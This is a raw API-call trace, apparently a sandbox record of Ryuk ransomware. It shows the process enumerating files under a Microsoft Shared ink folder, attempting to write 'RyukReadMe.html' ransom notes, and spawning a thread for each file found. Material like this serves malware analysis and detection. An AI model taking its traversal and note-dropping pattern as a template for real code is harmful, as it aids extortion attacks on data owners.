	[0162.447] GetLastError () returned 0x5
	[0162.447] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0162.447] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.447] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c5d0
	[0162.448] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0162.448] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0162.448] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0162.448] FindClose (in: hFindFile=0x7c5d0 | out: hFindFile=0x7c5d0) returned 1
	[0162.448] SetLastError (dwErrCode=0x0) 
	[0162.448] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.449] GetLastError () returned 0x5
	[0162.449] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0162.449] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.449] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ece8572, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2ece8572, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2ea60e45, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x7c, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1
	[0162.449] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.450] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x31c
	[0162.452] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.453] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1
	[0162.453] SetLastError (dwErrCode=0x0) 
	[0162.453] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.453] GetLastError () returned 0x5
	[0162.453] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0162.454] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.454] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c5d0
	[0162.456] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0162.456] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0162.456] FindClose (in: hFindFile=0x7c5d0 | out: hFindFile=0x7c5d0) returned 1
	[0162.456] SetLastError (dwErrCode=0x0) 
	[0162.456] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.457] GetLastError () returned 0x5
	[0162.457] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0162.457] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.457] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7eaa54, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2f7eaa54, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2f301d57, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb6710, dwReserved0=0x7c, dwReserved1=0x0, cFileName="hwrenalm.dat", cAlternateFileName="")) returned 1
	[0162.457] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.458] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d8
	[0162.461] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.461] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33535c00, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x33535c00, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x332fa78d, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xc7240, dwReserved0=0x7c, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1
	[0162.461] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.462] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3dc
	[0162.464] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.464] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32bd661d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x32bd661d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x32a7f9d8, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x10ca50, dwReserved0=0x7c, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1
	[0162.464] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.465] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e0
	[0162.547] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.548] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94dbb3, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3d94dbb3, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3c28ab1e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x2e99a0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="hwruklm.dat", cAlternateFileName="")) returned 1
	[0162.548] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.549] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e4
	[0162.552] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.553] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da5853e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3da5853e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d7f6f6e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x21ff00, dwReserved0=0x7c, dwReserved1=0x0, cFileName="hwruksh.dat", cAlternateFileName="")) returned 1
	[0162.553] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.553] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e8
	[0162.556] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.556] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db89026, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3db89026, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d3cc942, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x30c330, dwReserved0=0x7c, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1
	[0162.556] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.557] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ec
	[0162.559] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.560] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dbfb43d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3dbfb43d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3da7e69b, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x3ee0d0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1
	[0162.560] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.561] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f0
	[0162.563] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.563] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c4bfb78, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x4c4bfb78, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x298e8420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x56400, dwReserved0=0x7c, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1
	[0162.563] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c412911, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c412911, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29a8c2e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x201800, dwReserved0=0x7c, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1
	[0162.563] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eab8150, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5eab8150, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe4490e80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x7c, dwReserved1=0x0, cFileName="InkWatson.exe", cAlternateFileName="")) returned 1
	[0162.563] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7700d105, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x7700d105, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe45c2150, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5da00, dwReserved0=0x7c, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1
	[0162.564] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91865215, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x91865215, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1
	[0162.564] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.564] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f4
	[0162.566] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.567] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27bfdab7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27bfdab7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1
	[0162.567] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.568] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4cad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f8
	[0162.571] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.571] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1
	[0162.571] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.572] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ce430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3fc
	[0162.574] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.575] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1
	[0162.575] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.576] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d1b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x404
	[0162.578] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.579] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1
	[0162.579] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.580] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d51f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x408
	[0162.631] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.632] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1
	[0162.632] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.633] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d88d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x40c
	[0162.635] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.636] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c6fece, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c6fece, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1
	[0162.636] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.637] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4dbfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x410
	[0162.639] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.640] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1
	[0162.640] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.641] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4df690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x414
	[0162.643] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.644] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58cd8515, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x58cd8515, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x5ca35e50, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x7c, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1
